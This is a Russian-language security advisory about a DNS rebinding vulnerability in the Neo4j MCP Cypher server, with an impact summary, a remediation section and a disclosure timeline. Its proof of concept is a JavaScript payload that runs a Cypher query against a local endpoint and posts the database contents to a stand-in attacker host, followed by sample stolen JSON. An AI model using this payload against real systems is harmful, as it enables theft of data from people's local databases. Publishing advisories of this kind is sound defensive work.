Автор: Evan Harris
Затронутый компонент: Neo4j MCP Cypher Server
Уязвимые версии: 0.2.2 до 0.3.1
CVE: CVE-2025-10193
Оценка CVSS 4.0: 7.4 (Высокая) - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Обзор

Сервер Neo4j MCP Cypher предоставляет HTTP-эндпоинт для выполнения Cypher-запросов к базе данных Neo4j.

MCPSec обнаружила уязвимость DNS rebinding в сервере, которая позволяет удалённым злоумышленникам обходить политики безопасности браузера и выполнять произвольные Cypher-запросы к доступному через MCP экземпляру базы данных.

Neo4j устранила эту проблему в релизе v0.4.0. Всем пользователям затронутых версий следует немедленно обновиться.


Воздействие

Злоумышленники получают полный POST-доступ к эндпоинту /api/mcp, предоставляемому локальным сервером Neo4j MCP Cypher.

Это открывает возможность несанкционированного выполнения любых Cypher-запросов, фактически предоставляя злоумышленнику полный административный контроль над базой данных Neo4j. Это может привести к следующему:

  • Полная экфильтрация конфиденциальной информации, хранящейся в базе данных.
  • Несанкционированное изменение данных или их повреждение.
  • Удаление данных и отказ в обслуживании.

Атака DNS rebinding может быть выполнена в течение нескольких секунд после того, как жертва посетит вредоносный сайт, и требует лишь того, чтобы уязвимый сервер был запущен локально.

Proof of Concept

Сценарий атаки предполагает следующее:

  • Жертва запускает уязвимую версию сервера Neo4j MCP Cypher на своём локальном компьютере.
  • Жертва переходит на вредоносный сайт, контролируемый злоумышленником.
  • Сайт выполняет атаку DNS rebinding, вынуждая браузер жертвы отправлять команды на сервер Neo4j.

После завершения rebinding злоумышленник может использовать браузер жертвы для отправки вредоносных Cypher-запросов на локально обслуживаемый эндпоинт /api/mcp. Затем данные могут быть извлечены на сервер злоумышленника, либо может быть выполнено изменение и удаление данных.

MCPSec провела атаку в формате proof of concept, выполнив следующие шаги:

  1. Разверните приложение для DNS rebinding (например, Singularity of Origin).

  2. Создайте JavaScript-payload, доставляемый вредоносным сайтом, для выполнения запроса и извлечения данных.

const Neo4jRebind = () => {
  // The core attack function. It sends a malicious Cypher query.
  function attack(headers, cookie, body) {
    const maliciousQuery = 'MATCH (n) RETURN n LIMIT 100'; // Query to dump all nodes
    fetch('http://localhost:8000/api/mcp', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
        'Accept': 'application/json, text/event-stream',
        'Connection': 'keep-alive',
        'Cache-Control': 'no-cache'
      },
      body: JSON.stringify({ query: maliciousQuery })
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal-neo4j-data';
      response.text().then(databaseContents => {
        // Send the stolen database contents to the attacker's server
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          body: JSON.stringify(databaseContents)
        });
      }).catch(e => console.error('Failed to parse Neo4j response', e));
    }).catch(e => console.error("Failed to post Cypher query", e));
  }

  // Function to check if the rebound service is the target Neo4j server
  async function isService(headers, cookie, body) {
    try {
      const response = await fetch(`http://localhost:8000/`, { mode: 'no-cors' });
      // A successful ping (even opaque) suggests the port is open.
      return true;
    } catch (e) {
      return false;
    }
  }

  return {
    attack,
    isService
  }
}

Registry["Neo4jRebind"] = Neo4jRebind();
  1. Запустите сервер сбора данных, чтобы принять POST-запрос, содержащий украденное содержимое базы данных.

Ниже приведён пример JSON-данных, извлечённых из базы данных жертвы, содержащих потенциально конфиденциальную информацию о пользователях.

{
  "results": [
    {
      "columns": ["n"],
      "data": [
        {
          "row": [
            {
              "name": "Evan Harris",
              "email": "evan.harris@example.com",
              "role": "admin",
              "password_hash": "sha256:abc123def456..."
            }
          ],
          "meta": [{...}]
        },
        {
          "row": [
            {
              "project": "Project Titan",
              "api_key": "neo-secret-key-xyz789",
              "status": "active"
            }
          ],
          "meta": [{...}]
        }
      ]
    }
  ],
  "errors": []
}

Рекомендуемые меры по устранению

Для пользователей (немедленно)

  • Немедленно обновите mcp-neo4j-cypher до версии v0.4.0 или новее. Эта версия содержит патч, который проверяет HTTP-заголовок Host для предотвращения данной атаки.
  • Если обновление невозможно, переключитесь с HTTP на stdio. В качестве альтернативы установите фильтр сетевых запросов перед вашим сервером Neo4j Cypher MCP для защиты от недействительных заголовков Host.

Эта уязвимость была сообщена команде Neo4j в рамках практик ответственного раскрытия. Команда быстро отреагировала, чтобы проверить и исправить проблему.


Хронология раскрытия

  • 2025-09-08: Neo4j подтверждает получение отчёта.
  • 2025-09-09: Neo4j признаёт риск, связанный с вектором атаки.
  • 2025-09-09: Команде Neo4j предоставлены подробные рекомендации и примеры устранения.
  • 2025-09-09: Neo4j создаёт pull request с защитными мерами.
  • 2025-09-11: Выпущена исправленная версия v0.4.0.
  • 2025-09-11: Присвоен CVE-2025-10193 и опубликован GitHub Security Advisory.
  • 2025-09-12: Согласована дата публикации технического бюллетеня безопасности.
  • 2025-10-13: Опубликован технический бюллетень безопасности.

Заключение

Уязвимость DNS rebinding в сервере Neo4j MCP Cypher подчёркивает высокий риск безопасности для инструментов разработчика, которые предоставляют доступ к локальным интерфейсам баз данных. Предоставляя мощную локальную функциональность, такие сервисы могут стать шлюзом для веб-атак, если они не защищены должным образом. Это может привести к полной компрометации конфиденциальных данных.

Выражаем признательность команде Neo4j за профессиональную и оперативную реакцию при устранении этой уязвимости. Всем пользователям затронутого компонента следует обновиться до последней версии, чтобы обеспечить защиту своих данных.

Источники